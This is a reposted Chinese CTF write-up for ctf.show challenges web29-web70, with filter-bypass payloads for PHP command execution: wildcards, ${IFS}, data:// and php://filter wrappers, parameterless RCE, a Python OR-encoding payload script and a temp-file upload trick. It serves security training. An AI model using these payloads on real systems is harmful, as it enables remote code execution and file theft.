CTF web入門之命令執行 完整版

web29 文件名過濾
在這里插入圖片描述
由于flag被過濾，需要進行文件名繞過，有以下幾種方法：

1.通配符繞過 fla?.*

2.反斜杠繞過 fl\ag.php

3.雙引號繞過 fl’‘ag’'.php

還有特殊變量$1、內聯執行等

此外 讀取文件利用cat函數，輸出利用system、passthru 、echo

echo `nl fl''ag.php`;
echo `cat fl''ag.php`;
system("cat fl*");
system("tail fla*");
passthru('cat fl?g.*');

在這里插入圖片描述
**web30:**命令執行，需要嚴格的過濾
在這里插入圖片描述
在這里插入圖片描述
system不能使用，使用passthru、echo等 flag,php過濾繼續用通配符繞過

passthru('cat fl?g.*');
echo `cat fl''ag.*`;

web31:
在這里插入圖片描述
在這里插入圖片描述
可以使用使用空格繞過(%09) 也可也使用&拼接使用eval函數可以使用POST和GET其實一樣的
在這里插入圖片描述
也可以使用反字節符號配合echo，執行的效果類似于system ，例如echo ls；
再利用tac加%20（空格）繞過空格和cat：(這里%20不行，可以用%09制表符)
.被過濾，則直接采用*，*表示多個字符，？表示一個字符

echo(`ls`);
?c=echo(`tac%09fla*`);
?c=passthru("tac%09fla*");
?c=passthru("more%09f*");

在這里插入圖片描述
web32:
繞過思路：過濾了system,echo,這里可以使用passthru，但是這次還過濾了括號，所以passthru也沒有辦法用，這里使用文件包含，通過php://filter協議進行讀取文件
在這里插入圖片描述
無法使用分號，可以使用php中的?>進行繞過，空格用%0a繞過

1.使用include文件包含函數上傳一句話木馬

使用data偽協議，得到目錄名
data偽協議： data://text/plain,php執行命令

?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('ls');?> c=include%0a$_GET[1]?>
include：這是 PHP 里的一個語句，其作用是將指定文件的內容包含到當前文件中并執行
。
%0a：這是 URL 編碼，代表換行符 \n。在構造惡意代碼時，用換行符能讓代碼更符合 PHP 的語法規范。$_GET[1]：$_GET 是 PHP 中的一個超全局數組，用于獲取通過 GET 請求傳遞的參數。$_GET[1] 表示獲取名為 1 的 GET 參數的值。?>：這是 PHP 代碼塊的結束標記。綜合起來，c 參數的內容本質上是一段 PHP 代碼，其功能是包含并執行通過 $_GET[1] 獲取到的文件內容。&1=data://text/plain,<?php system('ls');?>&：在 URL 里，& 是用于分隔不同參數的符號。1=：表示參數名為 1。data://text/plain：這是 PHP 的偽協議，
data:// 允許你直接在 URL 中嵌入數據。text/plain 表明數據的 MIME 類型為純文本。
<?php system('ls');?>：這是一段 PHP 代碼，system 函數用于執行系統命令，這里執行的是 ls 命令，其作用是列出當前目錄下的文件和文件夾。<?php system("tac flag.php");?>  直接讀取文件信息

知識點：php中不需要使用括號的函數：
1. include 和 require
這兩個函數用于包含和執行指定的文件。它們可以在沒有括號的情況下使用：
include 'file.php'; // 可以不使用括號
require 'file.php'; // 可以不使用括號
2. echo 和 print
這兩個語言結構用于輸出內容。它們可以在沒有括號的情況下使用：
echo 'Hello, World!'; // 可以不使用括號
print 'Hello, World!'; // 可以不使用括號
3. isset 和 empty
這兩個函數用于檢查變量的狀態。它們也可以在沒有括號的情況下使用：
if isset($var) { // 可以不使用括號// 代碼
}
if empty($var) { // 可以不使用括號// 代碼
}
4. list
list 結構用于將數組中的值賦給變量。它可以在沒有括號的情況下使用：
list($a, $b) = array(1, 2); // 需要括號，但可以在賦值時不使用
5. exit 和 die
這兩個函數用于終止腳本的執行。它們可以在沒有括號的情況下使用：
exit; // 可以不使用括號
die; // 可以不使用括號

在這里插入圖片描述
在這里插入圖片描述

php://filter/read=convert.base64-encode/resource=flag.php #偽協議
這個偽協議的作用是讀取 flag.php 文件的內容，并將其進行 Base64 編碼后返回。例如，在 PHP 代碼中使用這個偽協議：php://filter 偽協議  它允許你在讀取或寫入文件時對數據進行過濾和轉換
基本語法如下：
php://filter/[讀|寫操作]/[過濾器鏈]/resource=[文件名]
讀 | 寫操作：可以是 read（讀取數據時過濾） 或 write（寫入數據時過濾）
過濾器鏈：由一個或多個過濾器組成，多個過濾器之間用 | 分隔。
文件名：要操作的文件的名稱。convert.base64-encode 過濾器
convert.base64-encode 是 php://filter 支持的一個過濾器，它的作用是將讀取的數據進行 
Base64 編碼。Base64 編碼是一種將二進制數據轉換為 ASCII 字符的編碼方式，常用于在文本協議中傳輸二進制數據

**web33:**多了個雙引號 和上面的題一樣
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
web34:同web33
在這里插入圖片描述
在這里插入圖片描述
**web35:**同web33
在這里插入圖片描述
在這里插入圖片描述

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到這里有三種方法可以使用

在這里插入圖片描述

**web36:**同web33 在前面的基礎上，過濾了數字
在這里插入圖片描述
在這里插入圖片描述
這里過濾了數字0-9 還是可以使用上面的PayLoad只要傳參的不是數字就行

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

**web37:**多了個 include($c)。且過濾flag;
將指定文件的內容包含到當前文件里并執行
繞過思路：文件包含常用攻擊手法，偽協議讀取文件內容

在這里插入圖片描述
在這里插入圖片描述

data://text/plain,<?php system("tac *.php");?>
?c=data://text/palin,<?php system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

web:38: 同web37 多了過濾php.
繞過思路：加密
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
**web39:**變量 $c 的值與 .php 拼接后的文件路徑所對應的文件內容包含進來
繞過思路：注釋后面代碼，或者去掉.php 在拼接
在這里插入圖片描述

使用#注釋符注釋掉即可
data://text/plain,<?php system("cat fla?.*");?>#
data://text/plain,<?php system('cat *.php')?>#發現不使用#也能訪問，因為?>就代表了語句的結束
data://text/plain,<?php system('cat *.php')?>

在這里插入圖片描述
去掉php

?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/palin,<?php system("tac f*");?>

在這里插入圖片描述
web40:
過濾了引號、$、冒號，還不能用偽協議
一般括號里參數都要用引號，這里學習一下無參數RCE(remote command/code execute)
https://www.freebuf.com/articles/system/242482.html

無參數的意思可以是a()、a(b())或a(b(c()))，但不能是a(‘b’)或a(‘b’,‘c’)，不能帶參數。

print_r(scandir(‘.’));查看當前目錄下的所有文件名

localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。

current() 函數返回數組中的當前元素（單元）,默認取第一個值，pos是current的別名 ，讀取目錄文件后，發現輸出的是數組，而文件名是數組中的值，下一步我們需要取出想要讀取文件的數組.

scandir() 函數用于列出指定目錄中的文件和文件夾

each() 返回數組中當前的鍵/值對并將數組指針向前移動一步

end() 將數組的內部指針指向最后一個單元

next() 將數組中的內部指針向前移動一位

prev() 將數組中的內部指針倒回一位

pos() 同 current() ,是current()的別名

reset() 函數返回數組第一個單元的值，如果數組為空則返回 FALSE

array_reverse()：數組逆序array_flip()是交換數組的鍵和值

show_source() 函數用于讀取并高亮顯示指定文件的源代碼

payload print_r(scandir(current(localeconv())));頁面返回
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
其中，[0] 位置的 . 代表當前目錄，[1] 位置的 .. 代表父目錄。[2] => flag.php存在一個名為 flag.php 的 PHP 文件。[3] => index.php PHP 文件show_source(next(array_reverse(scandir(current(localeconv())))));

在這里插入圖片描述
方法2：則嘗試利用全局變量
需要用到get_defined_vars()函數 返回所有已定義的變量所組成的數組
執行以下代碼c=print_r(get_defined_vars()); 獲取已定義的變量所組成的數組
在這里插入圖片描述

[_GET] => Array ( [c] => print_r(get_defined_vars()); )
$_GET 是 PHP 中的一個超全局數組，用于存儲通過 HTTP GET 請求傳遞的參數。在這個數組里，有一個鍵為 c 的元素，其值是 print_r(get_defined_vars());。這表明在當前的 GET 請求中，傳遞了一個名為 c 的參數，且參數值為 print_r(get_defined_vars());。通常在存在代碼注入漏洞的應用中，攻擊者會利用這種方式傳遞惡意代碼，嘗試讓服務器執行。[_POST] => Array ( )
$_POST 同樣是 PHP 的超全局數組，用于存儲通過 HTTP POST 請求傳遞的參數。這里該數組為空，意味著當前請求沒有通過 POST 方式傳遞任何參數。[_COOKIE] => Array ( )
$_COOKIE 是用于存儲客戶端發送的 cookie 信息的超全局數組。此數組為空，說明客戶端在本次請求中沒有發送任何 cookie。[_FILES] => Array ( )
$_FILES 是 PHP 中用于處理文件上傳的超全局數組。這里為空，表明當前請求沒有包含文件上傳操作。[c] => print_r(get_defined_vars());
這表明在當前作用域內定義了一個名為 c 的變量，其值為print_r(get_defined_vars());。這個變量可能是從 $_GET 數組中提取出來并賦值的，也可能是在其他代碼邏輯中定義的

執行：?cmd=system(“ls”);&c=print(pos(pos(get_defined_vars())));
先傳入cmd，pos表示返回第一行內容。返回
在這里插入圖片描述
?cmd=system(“tac flag.php”);&c=eval(pos(pos(get_defined_vars())));
在這里插入圖片描述
web41:
繞過思路：把數字和字母都給過濾了，這里的思路是構造system(“ls”)，但是字母被過濾。沒有過濾“｜”，利用它構造。
在這里插入圖片描述
按照提示里面的內容操作，命令執行起來存在點小問題。需要SSL證書。
可參考：https://blog.csdn.net/Myon5/article/details/139544869

最后換了一種操作。
原文在這：https://blog.csdn.net/longl_guyu/article/details/140551134
新建一個py丟進去，執行的時候 添加URL就行

import re
import urllib
from urllib import parse
import requests# 初始化一個列表來存儲編碼后的字符信息
contents = []# 遍歷所有可能的ASCII字符（從0x00到0xFF）
for i in range(256):for j in range(256):# 將整數i和j轉換為兩位的十六進制字符串（如：'00'到'ff'）hex_i = '{:02x}'.format(i)hex_j = '{:02x}'.format(j)# 編譯一個正則表達式，用于檢測需要特殊處理的字符preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)# 如果當前字符是需要特殊處理的字符，則跳過本次循環if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):continue# 否則，將字符轉換為百分號編碼格式（如：'%20'代表空格）a = '%' + hex_ib = '%' + hex_j# 計算兩個十六進制值按位或運算的結果，并確保結果是一個可打印的字符c = chr(int(a[1:], 16) | int(b[1:], 16))# 只保留ASCII碼在32到126之間的字符（即可打印字符）if 32 <= ord(c) <= 126:contents.append([c, a, b])  # 將字符、其百分號編碼形式以及備用編碼形式添加到列表中# 定義一個函數，用于生成payload
def make_payload(cmd):payload1 = ''  # 初始化第一個payload字符串payload2 = ''  # 初始化第二個payload字符串# 遍歷給定命令的每一個字符for char in cmd:# 在contents列表中查找與當前字符匹配的項for item in contents:if char == item[0]:  # 如果找到了匹配的項payload1 += item[1]  # 添加其百分號編碼形式到payload1payload2 += item[2]  # 添加其備用編碼形式到payload2break  # 找到匹配項后跳出循環# 返回一個字符串，其中包含了原始的和備用的十六進制編碼，以括號包圍return '("' + payload1 + '"|"' + payload2 + '")'# 獲取用戶輸入的URL
URL = input('url:')# 創建payload，首先對'系統'命令進行編碼，然后對'cat flag.php'命令進行編碼
payload = make_payload('system') + make_payload('cat flag.php')# 發送POST請求到指定的URL，數據中包含編碼后的payload
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)}, verify=False)# 輸出服務器的響應文本
print(response.text)

在這里插入圖片描述
web42:
在這里插入圖片描述
表示get方式輸入c 會在c后添加 >/dev/null 2>&1 ,再放入system()函數中。可通過“;”進行截斷，回顯出flag.

/dev/null 2>&1是一個 shell 重定向操作，命令的標準輸出（stdout）和標準錯誤（stderr）都被重定向到 /dev/null，即被丟棄，就是指，無論有輸出還是沒有輸出，都不會回顯。所以，我們在輸入時可以使 >/dev/null 2>&1被注釋或者不執行。

操作系統的鏈接符：

?c=ls| |把前面命令的輸出當作后面那條命令的參數，最終只顯示最終結果
?c=ls|| ||前面命令成功，后面命令不執行；前面不成功，后面命令執行
?c=ls& &兩條命令都會執行
?c=ls&& &&前一條命令執行成功，才會執行后面
?c=ls; ;分為多條語句按序執行

再將命令換為cat flag.php； 即可
注：使用 && 和&，需要進行url編碼。

cat flag.php||
cat flag.php%；
cat flag.php%26%26

在這里插入圖片描述
**web43:**在上一題的基礎上過濾了cat ;
不能使用；，使用其他的符號，tac替代cat訪問文件內容
|| :分隔符前面命令成功，后面命令不執行
%0a:URL 編碼后的換行符
%26%26: 是 URL 編碼后的 && 符號

cat flag.php||
cat flag.php%0a
cat flag.php%26%26

在這里插入圖片描述
在這里插入圖片描述
**web44:**在上一題的基礎上過濾了flag;
我們可以使用*或者???繞過。

tac *.php||
tac fla?.php%0a
more fla?.php%0a

在這里插入圖片描述
在這里插入圖片描述

**web45：**在上一題的基礎上過濾了空格：
嘗試使用url編碼空格：%0a,無法繞過。
嘗試換行符的url編碼%09，成功繞過得到flag。
${IFS}:也可以繞過對空格的過濾

c=more%09fla?.php||
c=tac%09fla?.php%0a
c=more${IFS}f*%0a

在這里插入圖片描述
在這里插入圖片描述
**web46:**在上一題的基礎上過濾了數字 * &：
還可以使用?:

more%09fla?.php||
tac%09fla?.php||
tac%09fla?.php%0a

在這里插入圖片描述
在這里插入圖片描述
**web47:*在上一題的基礎上過濾幾個用于顯示的函數
這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯，“;”也被過濾了，我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過，多過濾了空格，%09繞過。過濾了，用“？”代替。又多過濾了幾個讀取文件的命令，繼續使用上題的payload，tac沒有過濾。

tac%09fla?.php||
tac%09fla?.php%0a 
cat：用于按正常順序查看文件內容或合并文件。
tac：用于反向查看文件內容，即從文件末尾開始逐行輸出

在這里插入圖片描述
在這里插入圖片描述
web48: 同上題：只是多了幾個參數

tac%09fla?.php||
tac%09fla?.php%0a 
cat：用于按正常順序查看文件內容或合并文件。
tac：用于反向查看文件內容，即從文件末尾開始逐行輸出

在這里插入圖片描述
在這里插入圖片描述
web49: 同上題：只是多了幾個參數

tac%09fla?.php||
tac%09fla?.php%0a 
cat：用于按正常順序查看文件內容或合并文件。
tac：用于反向查看文件內容，即從文件末尾開始逐行輸出

在這里插入圖片描述
在這里插入圖片描述
web50:
%09不能使用了，使用其他方法進行空格繞過，例如重定向字符 < 、<>

使用？,被過濾。使用‘’或者“”防止flag被過濾。

?c=tac<fla’'g.php||

<：用于將文件內容作為命令的輸入，常用于那些通常從標準輸入讀取數據的命令。
<> ：用于以讀寫模式打開文件，允許命令對文件進行讀取和修改操作。
?c=tac<fla''g.php||
?c=tac<>fla''g.php||
?c=tac<>fla""g.php||

在這里插入圖片描述
在這里插入圖片描述
**web51:*同上題：
繞過思路：這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯，“;”也被過濾了，我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過，多過濾了空格，%被過濾,%09無法繞過，使用<>進行繞過。過濾了，用“？”代替，但是讀不出來，使用“\”繞過。又多過濾了幾個讀取文件的命令，tac也給過濾了，我們使用nl或者ta\c進行繞過。

?c=ta\c<fla''g.php||
?c=t''ac<>fla''g.php||
?c=t""ac<>fla""g.php||
nl<fla''g.php||
nl:主要功能是對文件內容進行編號并輸出

在這里插入圖片描述
在這里插入圖片描述
web52:
繞過思路：這里是通過”>/dev/null 2>&1”把輸出的內容不進行回顯，“;”也被過濾了，我們使用命令分隔符“||”進行截斷,過濾了flag,用通配符繞過，多過濾了空格，%被過濾,%09無法繞過，<>也被過濾了無法進行繞過，使用${IFS}繞過。過濾了*，用“？”代替，但是讀不出來，使用“\”繞過。又多過濾了幾個讀取文件的命令，tac也給過濾了，我們使用nl或者ta\c進行繞過

?c=ta\c${IFS}/fla''g||
?c=nl${IFS}/fla\g%0a
${IFS} 能替代空格的作用

在這里插入圖片描述
在這里插入圖片描述
web53: 跟上一樣，只是不用截斷

?c=nl${IFS}fla?.php
?c=ca\t${IFS}fla\g.php
?c=nl${IFS}fla\g.php

在這里插入圖片描述
在這里插入圖片描述
**web54:*以下讀取文件命令以及一些符號不能使用
繞過思路：過濾了flag,用通配符繞過，多過濾了空格，%被過濾,%09無法繞過，<>也被過濾了無法進行繞過，使用${IFS}繞過。過濾了，用“？”代替。又多過濾了幾個讀取文件的命令，tac也給過濾了，無法使用ta\c進行過濾了。所以這里我們使用grep.在flag.php中查找帶有show字符串的一行(因為flag的格式為ctfshow{})

替代cat讀取文件內容的函數：
tac 從最后一行往前顯示
more 一頁一頁顯示內容
less 相當于more
tail 查看末尾幾行
nl 顯示時加上行號
od 以二進制方式讀取
xxd 左邊顯示二進制，右邊顯示編碼
sort 用于排序文件
paste：是將多個文件按列合并后輸出。
grep：文本搜索工具

?c=xxd${IFS}fla?.php   
?c=paste${IFS}fla?.php
?c=grep${IFS}show${IFS}fl?g.php

在這里插入圖片描述
在這里插入圖片描述
web55:過濾了;|小寫字母|`|%|\x09(空格)|\x26(&)|<|>

因為過濾了字母，有一個含數字的base64命令可以讀文件，用通配符繞過字母，在/bin目錄下，使用/???/???64

?c=/bin/base64 flag.php(flag.php全靠猜)
即?c=/???/???64 ???.???
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
web56:該題還過濾了數字，無法使用上題的方法，只能使用臨時文件上傳
繞過思路：無字母數字webshell。在linux shell中，.可以用當前的shell執行一個文件中的命令，比如.file就是執行file文件中的命令。所以本題可以post上傳一個包含命令的文件，然后通過.來執行文件中的命令即可讀到flag。
在這里插入圖片描述
首先先寫一個腳本.記得把url給改掉

<!DOCTYPE html>
<html>
<body>
<form action="http://d5fb2a5e-8342-4737-805f-0538c243b172.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

啟動phpstudy服務 把弄好的腳本文件丟進去。執行
在這里插入圖片描述
在這里插入圖片描述

打開burp進行抓包 改一下 畫框的內容

?c=.%20/???/????????[@-[]glob支持利用[0-9]來表示一個范圍，所以我們可以用[A-Z]來匹配文件的最后一位，但因為過濾了字母，需要把A改為A的前一位@，把Z改為Z的后一位[來匹配大寫字母為什么要匹配大寫字母，因為其實用/???/?????????匹配到的其他文件都是小寫字母，只有php臨時生成的文件才包含大寫字母，不過因為是隨機生成的大寫字母，不一定每次都是大寫，可以多試幾下

在這里插入圖片描述
web57:
看注釋可以發現flag在36.php里面，然后又因為.php已經在system里面的，所以這回就只需要構造一下36這個數
在這里插入圖片描述

$(())		這個代表-1
$((~37))	這個代表(37取反)-1，即36
$(())$(())	這個代表-1-1，即-2
另外取反的操作優先級是低于$(())的
所以這里：
$((~$(())$(())))		即((-1-1)取反)-1，即1
要構造36即36個1加起來就行了：
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))即：
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))雙小括號 (( )) 是 Bash Shell 中專門用來進行整數運算的命令，它的效率很高，寫法靈活，是企業運維中常用的運算命令。通俗地講，就是將數學運算表達式放在((和))之間。  表達式可以只有一個，也可以有多個，多個表達式之間以逗號,分隔。對于多個表達式的情況，以最后一個表達式的值作為整個 (( ))命令的執行結果。  可以使用$獲取 (( )) 命令的結果，這和使用$獲得變量值是類似的。 可以在 (( )) 前面加上$符號獲取 (( ))  命令的執行結果，也即獲取整個表達式的值。以 c=$((a+b)) 為例，即將 a+b 這個表達式的運算結果賦值給變量 c。 注意，類似  c=((a+b)) 這樣的寫法是錯誤的，不加$就不能取得表達式的結果。

在這里插入圖片描述

如果說要構造36，在相應位置輸入37，即可構造出36.
data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

在這里插入圖片描述
web58:改用post方式
eval函數的作用是獲取返回值，所以傳入導eval中的數據需要是一個有返回值的函數
先總結一下知識：

查看當前目錄整體地址：
c=print_r(scandir('./'));
c=var_dump(scandir('./'));
c=print_r(scandir(dirname('__FILE__')));
c=print_r(scandir(current(localeconv())));
c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };查看根目錄：
c=print_r(scandir("/"));
c=var_dump(scandir('/'));
c=var_export(scandir('/'));
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}通過單一函數讀取文件：
c=show_source('flag.php');
c=echo file_get_contents("flag.php");	// 這個要看源代碼
c=readfile("flag.php");				// 這個要看源代碼
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));// file函數表示把整個文件讀入一個數組中
通過fopen讀取文件內容：
fread()
fgets()			// 一行一行的讀取
fgetc()			// 一個一個的讀取
fgetss()
fgetcsv()
fpassthru()
// 這些都是與fopen函數配合使用的

總結一下payload（一些用不了就換一些就行了）

feof()：用于檢測是否已到達文件末尾，到達返回1
fgets()：一行一行的讀取
fgetc()：一個一個的讀取
fgetss()：從打開的文件中返回一行，并過濾掉 HTML 和 PHP 標簽		// 只適用于php7.3之前版本
fgetcsv()：函數從打開的文件中解析一行，校驗 CSV 字段(逗號分隔值)
var_dump()：顯示關于一個或多個表達式的結構信息，數組將遞歸展開值，通過縮進顯示其結構
fread()：讀取打開的文件，有兩個參數，前者為要讀取的文件，后者為讀取最大字節
fpassthru()：從打開文件的當前位置開始讀取所有數據，直到文件末尾（EOF），并向輸出緩沖寫結果
localeconv()：返回一個包含本地數字及貨幣格式信息的數組
current()：輸出數組中的當前元素的值
scandir()：列出目錄中的文件和目錄
array_reverse()：返回翻轉順序的數組	// 因為current讀取的最前面時根目錄，有用的信息一般在后面
show_source()：用于讀取指定文件的內容，并以 HTML 格式輸出，同時對代碼進行語法高亮顯示。其本質是調用了 highlight_file() 函數，二者功能相似。
highlight_file()：同樣是讀取指定文件的內容，以 HTML 格式輸出并對代碼進行語法高亮顯示。此外，它還會返回處理后的 HTML 代碼字符串，而 show_source() 直接輸出結果，不返回值高亮顯示php文件
c=show_source("flag.php");
c=highlight_file("flag.php");
c=highlight_file(next(array_reverse(scandir(current(localeconv())))));一些好用的payload
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}  //源代碼
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}  //源代碼
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}c=file_get_contents("flag.php");
c=var_dump(file("flag.php"));
c=$a=fopen("flag.php","r");echo fpassthru($a);		// 源代碼
c=$a=fopen("flag.php","r");echo fread($a,"1000");	// 源代碼$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;}	// php<7.3同時也可以通過復制、重命名來讀取php文件內容。在執行完后只需要訪問改文件就可以了
copy()		// 復制
rename()	// 重命名c=copy("flag.php","1.txt");		// 復制為1.txt
c=rename("flag.php","1.txt");		// 重命名為1.txt

在這里插入圖片描述
調用 system 函數，發現函數被禁用。可以調用上面的payload，很有意思
在這里插入圖片描述

找文件
c=print_r(scandir(pos(localeconv())));
c=print_r(scandir("./"));
c=print_r(scandir("/"));
c=print_r(scandir("../"));看文件
c=show_source('flag.php');
c=highlight_file('flag.php');
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=copy("flag.php","flag.txt");
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=print_r(file("flag.php"));

在這里插入圖片描述
web59:同上：
在這里插入圖片描述
在這里插入圖片描述
web60:同上
在這里插入圖片描述
在這里插入圖片描述
web61:同上
在這里插入圖片描述
在這里插入圖片描述
web62:同上
在這里插入圖片描述
在這里插入圖片描述
web63:同上
在這里插入圖片描述
在這里插入圖片描述
web64:同上：
在這里插入圖片描述
web65:同上
在這里插入圖片描述
web66:
在這里插入圖片描述
在這里插入圖片描述
web67：同上
在這里插入圖片描述
web68:直接告訴你不能用highlight_file()
在這里插入圖片描述
目錄掃描：

c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };opendir("./")：這個函數的作用是打開當前目錄（. 表示當前目錄），并且返回一個目錄句柄，將其賦值給變量 $a。readdir($a)：它會從由 $a 所代表的目錄句柄里讀取下一個文件或目錄的名稱。當讀取到目錄末尾時，會返回 false。while (($file = readdir($a)) !== false)：這是一個循環結構，只要 readdir($a) 不返回 false，就會持續循環。在每次循環中，把讀取到的文件名賦值給變量 $file。
echo $file . "<br>";：將讀取到的文件名輸出，并且在文件名后面添加一個 HTML 換行標簽 <br>c=include('flag.php'); echo $flag;include('flag.php')：這個函數會把 flag.php 文件的內容包含到當前文件中執行。通常情況下，flag.php 文件可能會定義一些變量或者函數。echo $flag;：嘗試輸出 $flag 變量的值。一般來說，$flag 變量應該是在 flag.php 文件中定義的，可能包含敏感信息。

在這里插入圖片描述
在這里插入圖片描述

在掃掃別的看看
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };c=include('/flag.txt');

在這里插入圖片描述
在這里插入圖片描述
web69:同上
在這里插入圖片描述
在這里插入圖片描述
web70:同上：多禁用了幾個參數

掃描目錄 改一下就可以
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };c=include('/flag.txt')

本文來自互聯網用戶投稿，該文觀點僅代表作者本人，不代表本站立場。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。
如若轉載，請注明出處：http://www.pswp.cn/news/901517.shtml
繁體地址，請注明出處：http://hk.pswp.cn/news/901517.shtml
英文地址，請注明出處：http://en.pswp.cn/news/901517.shtml

如若內容造成侵權/違法違規/事實不符，請聯系多彩編程網進行投訴反饋email:809451989@qq.com，一經查實，立即刪除！

相關文章

【Linux實踐系列】：用c/c++制作一個簡易的進程池

【Linux實踐系列】：用c/c++制作一個簡易的進程池

&#x1f525; 本文專欄&#xff1a;Linux Linux實踐項目 &#x1f338;作者主頁&#xff1a;努力努力再努力wz &#x1f4aa; 今日博客勵志語錄&#xff1a; 人生沒有標準答案&#xff0c;你的錯題本也能寫成傳奇。 ★★★ 本文前置知識&#xff1a; 匿名管道 1.前置知識回顧…
閱讀更多...
2.2 函數返回值

2.2 函數返回值

1.回顧def def sum(x,y): return xy res sum(10,20) #調用函數 print(res) 2.函數的三個重要屬性 -函數的類型&#xff1a;function -函數的ID&#xff1a;16進制的整數數值 -函數的值&#xff1a;封裝在函數中的數據和代碼 # - 函數是一塊內存空間&#xff0c;通過…
閱讀更多...
【3GPP核心網】【5G】精講5G網絡語音業務系統架構

【3GPP核心網】【5G】精講5G網絡語音業務系統架構

1. 歡迎大家訂閱和關注，精講3GPP通信協議（2G/3G/4G/5G/IMS）知識點，專欄會持續更新中.....敬請期待！ 目錄 1. 音視頻業務 2. 消息類業務 SMS over IMS SMS over NAS 3. 互聯互通架構 3.1 音視頻業務互通場景 3.2 5G 用戶與 5G 用戶互通 3.3 5G 用戶與 4G 用戶的互通…
閱讀更多...
系統環境變量有什么實際作用，為什么要配置它

系統環境變量有什么實際作用，為什么要配置它

系統環境變量有什么實際作用，為什么要配置它 系統環境變量具有以下重要實際作用： 指定程序路徑：操作系統通過環境變量來知曉可執行文件、庫文件等的存儲位置例如，當你在命令提示符或終端中輸入一個命令時，系統會根據環境變量PATH中指定的路徑去查找對應的可執行文件。如果…
閱讀更多...
qt/C++面試題自用學習（更新中）

qt/C++面試題自用學習（更新中）

最近在找工作…面試中遇到了的問題總以為自己會但回答的時候磕磕巴巴&#xff0c;覺得還是要總結一下&#xff1a; vector和list的區別 vector list 底層數據結構 基于動態數組實現&#xff0c;元素在內存中連續存儲 基于雙向鏈表實現&#xff0c;元素在內存中非連續存儲&…
閱讀更多...
Day09【基于Tripletloss實現的簡單意圖識別對話系統】

Day09【基于Tripletloss實現的簡單意圖識別對話系統】

基于Tripletloss實現的表示型文本匹配 目標數據準備參數配置數據處理Triplet Loss目標Triplet Loss計算公式公式說明 模型構建網絡結構設計網絡訓練目標損失函數設計 主程序推理預測類初始化加載問答知識庫文本向量化知識庫查詢主程序main測試測試效果 參考博客 目標 在此之前…
閱讀更多...
說說什么是冪等性？

說說什么是冪等性？

大家好&#xff0c;我是鋒哥。今天分享關于【說說什么是冪等性&#xff1f;】面試題。希望對大家有幫助&#xff1b; 說說什么是冪等性&#xff1f; 1000道 互聯網大廠Java工程師 精選面試題-Java資源分享網 冪等性&#xff08;Idempotence&#xff09; 是指在某些操作或請求…
閱讀更多...
【自相關】全局 Moran’s I 指數

【自相關】全局 Moran’s I 指數

自相關&#xff08;Autocorrelation&#xff09;&#xff0c;也稱為序列相關性&#xff0c;指的是同一變量在不同時間或空間點的值之間的關系。簡而言之&#xff0c;自相關就是一個變量與自身在不同位置或時間點的相關性 自相關&#xff1a;針對同一屬性之間進行分析相關性 本…
閱讀更多...
【高中數學/指數/對數】同構六君子之 x/e^x/lnx組合曲線

【高中數學/指數/對數】同構六君子之 x/e^x/lnx組合曲線

yx*e^x ye^x/x yx/e^x yx*lnx ylnx/x yx/lnx END
